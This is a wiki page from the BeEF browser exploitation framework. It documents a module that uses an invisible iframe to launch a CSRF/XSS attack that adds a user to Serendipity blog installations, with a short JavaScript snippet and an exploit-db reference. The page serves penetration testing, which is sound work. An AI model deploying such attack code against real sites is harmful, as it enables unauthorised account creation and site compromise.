2

Module: Serendipity = 1.1.1 Add User CSRF

Haoxi Tan edited this page 2020-01-09 13:29:59 +10:00

Table of Contents

• Summary
• Internal Working
• References
• Feedback

Summary

• Objective: hook Serendipity <= 1.6 using XSS

• Authors: bcoles, Stefan Schurtz

• Browsers: All

• Code

Internal Working

Uses an invisible iframe to hook the serendipity instance

        var uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>');

        var serendipity_iframe = beef.dom.createInvisibleIframe();
        serendipity_iframe.setAttribute('src', uri);

References

http://www.exploit-db.com/exploits/18884/

Feedback

I - Starting BeEF

1. Introducing BeEF
2. Installation
3. Basics
4. Troubleshooting

II - Basic Utilization

1. Configuration
2. Interface
3. Information Gathering
4. Social Engineering
5. Network Discovery
6. Metasploit
7. Tunneling
8. XSS Rays
9. Persistence
10. Creating a Module
11. Geolocation
12. Using-BeEF-With-NGROK

III - Advanced Utilization

1. RESTful API
2. Autorun Rule Engine
3. Notifications
4. Console
5. WebRTC Extension

IV - Development

1. Contributing
2. ActiveRecord
3. Development Organization
4. Architecture
5. BeEF Javascript API
6. Step By Step Module Creation
7. Creating a New Extension
8. BeEF Testing
9. Browser & OS Compatibility
10. Database Schema
11. Development Milestones
12. Command Module Config
13. Command Module API

V - References

1. FAQ
2. Other
3. References
4. Modules
5. Release Notes

User Guide

I. Introduction   |   II. Basic Utilization   |   III. Advanced Utilization   |   IV. Development   |   V. References

Community

Blog   |   Code   |   Youtube   |   Twitter